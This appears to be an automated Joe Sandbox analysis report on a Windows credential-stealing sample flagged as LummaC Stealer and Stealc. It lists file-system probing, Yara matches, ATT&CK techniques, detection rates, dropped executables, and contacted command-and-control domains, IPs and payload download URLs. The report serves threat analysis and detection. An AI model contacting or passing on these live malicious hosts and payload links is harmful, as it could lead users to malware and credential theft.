Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior

Source: Yara match	File source: 00000001.00000003.1424241594.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1423737689.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1424514583.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1420755075.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1423580795.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1423215100.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1422533162.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1424029355.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1422429279.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1421974868.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1422867072.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1421188440.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1423895230.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1424844900.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1419770522.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1423447285.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1421848660.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1421525273.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1420631880.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1425321244.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1423073046.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1421711035.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1420031730.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1425238181.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1421054192.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1424128912.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1422075965.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1420187340.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1425115480.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1424748984.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1373420987.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1424387670.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1425006550.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1423346210.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1420481628.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1424649468.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1425495603.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1422644060.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1421317804.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1420342190.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1420872874.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1421412387.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1422748556.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1422260267.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 0OkLsJL2Bn.exe PID: 7688, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 0OkLsJL2Bn.exe PID: 7688, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000005.00000002.1721673455.000000000112C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1719052761.00000000005C1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.1632301806.0000000004D60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2WLTZV8JUCLEOOJ1JDBUZTRB.exe PID: 6008, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	2 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	41 Disable or Modify Tools	LSASS Memory	861 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	2 Bypass User Account Control	371 Virtualization/Sandbox Evasion	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	371 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Bypass User Account Control	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
0OkLsJL2Bn.exe	58%	ReversingLabs	Win32.Ransomware.StealC
0OkLsJL2Bn.exe	54%	Virustotal		Browse
0OkLsJL2Bn.exe	100%	Avira	TR/Crypt.XPACK.Gen
0OkLsJL2Bn.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	45%	ReversingLabs	Win32.Infostealer.Tinba

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cuddlyready.xyz	172.67.150.173	true	true		unknown

Contacted URLs

Name	Malicious	Reputation
sendypaster.xyz	true	unknown
http://185.215.113.206/	false	high
steppriflej.xyz	true	unknown
smash-boiling.cyou	true	unknown
supporse-comment.cyou	true	unknown
hosue-billowy.cyou	true	unknown
185.215.113.206/c4becf79229cb002.php	false	high
cuddlyready.xyz	true	unknown
http://185.215.113.206/c4becf79229cb002.php	false	high
ripe-blade.cyou	true	unknown
greywe-snotty.cyou	true	unknown
https://cuddlyready.xyz/api	true	unknown
pollution-raker.cyou	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://duckduckgo.com/chrome_newtab	0OkLsJL2Bn.exe, 00000001.00000003.1351378860.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1351471367.00000000053D9000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1351610755.00000000053D9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	0OkLsJL2Bn.exe, 00000001.00000003.1351378860.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1351471367.00000000053D9000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1351610755.00000000053D9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cuddlyready.xyz/apire	0OkLsJL2Bn.exe, 00000001.00000003.1373420987.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/c4becf79229cb002.phpd	2WLTZV8JUCLEOOJ1JDBUZTRB.exe, 00000005.00000002.1721673455.000000000116C000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cuddlyready.xyz/pi	0OkLsJL2Bn.exe, 00000001.00000003.1487971893.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.marriott.com/default.mi?utm_source=admarketplace&utm_medium=cpc&utm_campaign=Marriott_Pr	0OkLsJL2Bn.exe, 00000001.00000003.1397955283.0000000005426000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cuddlyready.xyz/	0OkLsJL2Bn.exe, 00000001.00000003.1487971893.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1373420987.0000000000D68000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1419770522.0000000000D68000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1487971893.0000000000D59000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/4	2WLTZV8JUCLEOOJ1JDBUZTRB.exe, 00000005.00000002.1721673455.000000000112C000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cuddlyready.xyz/-C~l:	0OkLsJL2Bn.exe, 00000001.00000003.1487971893.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0OkLsJL2Bn.exe, 00000001.00000003.1351378860.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1351471367.00000000053D9000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1351610755.00000000053D9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/steam/random.exen	0OkLsJL2Bn.exe, 00000001.00000003.1572271328.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	false	high
https://contile-images.services.mozilla.com/5b4DH7KHAf2n_mNaLjNi1-UAoKmM9rhqaA9w7FyznHo.10943.jpg	0OkLsJL2Bn.exe, 00000001.00000003.1397955283.0000000005426000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cuddlyready.xyz/api~	0OkLsJL2Bn.exe, 00000001.00000003.1487971893.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://cuddlyready.xyz/e	0OkLsJL2Bn.exe, 00000001.00000003.1487971893.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&ci=1696497267574.12791&key=1696497267400700	0OkLsJL2Bn.exe, 00000001.00000003.1397955283.0000000005426000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.c.lencr.org/0	0OkLsJL2Bn.exe, 00000001.00000003.1396352181.0000000005453000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/0	0OkLsJL2Bn.exe, 00000001.00000003.1396352181.0000000005453000.00000004.00000800.00020000.00000000.sdmp	false	high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqrfQHr4pbW4ZbWfpbY7ReNxR3UIG8zInwYIFIVs9eYi	0OkLsJL2Bn.exe, 00000001.00000003.1397955283.0000000005426000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0OkLsJL2Bn.exe, 00000001.00000003.1351378860.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1351471367.00000000053D9000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1351610755.00000000053D9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exer	0OkLsJL2Bn.exe, 00000001.00000003.1572614691.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exeic	0OkLsJL2Bn.exe, 00000001.00000003.1572614691.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/r	0OkLsJL2Bn.exe, 00000001.00000003.1572271328.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&ci=1696497267574.12791&key=1696497267400700002.1&cta	0OkLsJL2Bn.exe, 00000001.00000003.1397955283.0000000005426000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.mozilla.org/products/firefoxgro.all	0OkLsJL2Bn.exe, 00000001.00000003.1397574934.00000000056C9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cuddlyready.xyz/api5	0OkLsJL2Bn.exe, 00000001.00000003.1419770522.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1420031730.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://cuddlyready.xyz:443/apiages	0OkLsJL2Bn.exe, 00000001.00000003.1487971893.0000000000D33000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0OkLsJL2Bn.exe, 00000001.00000003.1351378860.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1351471367.00000000053D9000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1351610755.00000000053D9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/steam/random.exe	0OkLsJL2Bn.exe, 00000001.00000003.1572271328.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1572614691.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0OkLsJL2Bn.exe, 00000001.00000003.1351378860.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1351471367.00000000053D9000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1351610755.00000000053D9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.rootca1.amazontrust.com/rootca1.crl0	0OkLsJL2Bn.exe, 00000001.00000003.1396352181.0000000005453000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15e498ec2b39921665a1fbc954bff40a8106629178eadc64	0OkLsJL2Bn.exe, 00000001.00000003.1397955283.0000000005426000.00000004.00000800.00020000.00000000.sdmp	false	high
http://ocsp.rootca1.amazontrust.com0:	0OkLsJL2Bn.exe, 00000001.00000003.1396352181.0000000005453000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	0OkLsJL2Bn.exe, 00000001.00000003.1351378860.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1351471367.00000000053D9000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1351610755.00000000053D9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0OkLsJL2Bn.exe, 00000001.00000003.1397574934.00000000056C9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ac.ecosia.org/autocomplete?q=	0OkLsJL2Bn.exe, 00000001.00000003.1351378860.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1351471367.00000000053D9000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1351610755.00000000053D9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/	0OkLsJL2Bn.exe, 00000001.00000003.1572271328.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.php?	2WLTZV8JUCLEOOJ1JDBUZTRB.exe, 00000005.00000002.1721673455.0000000001159000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cuddlyready.xyz:443/api	0OkLsJL2Bn.exe, 00000001.00000003.1487971893.0000000000D33000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/c4becf79229cb002.phpC	2WLTZV8JUCLEOOJ1JDBUZTRB.exe, 00000005.00000002.1721673455.0000000001159000.00000004.00000020.00020000.00000000.sdmp	false	high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0OkLsJL2Bn.exe, 00000001.00000003.1397955283.0000000005426000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/steam/random.exebJ	0OkLsJL2Bn.exe, 00000001.00000003.1572614691.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0OkLsJL2Bn.exe, 00000001.00000003.1396352181.0000000005453000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exe	0OkLsJL2Bn.exe, 00000001.00000003.1572614691.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp	false	high
http://crl.microxz	0OkLsJL2Bn.exe, 00000001.00000003.1423737689.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1420755075.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1424514583.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1424241594.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1423580795.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1423215100.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1422533162.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1421974868.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1422429279.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1424029355.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1421188440.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1422867072.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1419770522.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1423895230.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1424844900.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1423447285.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1421525273.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1421848660.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1420631880.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1425321244.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1423073046.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206	2WLTZV8JUCLEOOJ1JDBUZTRB.exe, 00000005.00000002.1721673455.000000000110E000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.16/off/def.exe:J	0OkLsJL2Bn.exe, 00000001.00000003.1572614691.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/(	0OkLsJL2Bn.exe, 00000001.00000003.1572271328.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0OkLsJL2Bn.exe, 00000001.00000003.1351378860.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1351471367.00000000053D9000.00000004.00000800.00020000.00000000.sdmp, 0OkLsJL2Bn.exe, 00000001.00000003.1351610755.00000000053D9000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.phpW	2WLTZV8JUCLEOOJ1JDBUZTRB.exe, 00000005.00000002.1721673455.0000000001159000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cuddlyready.xyz:443/apiCq	0OkLsJL2Bn.exe, 00000001.00000003.1487971893.0000000000D33000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.150.173	cuddlyready.xyz	United States	13335	CLOUDFLARENETUS	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579733
Start date and time:	2024-12-23 08:14:26 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
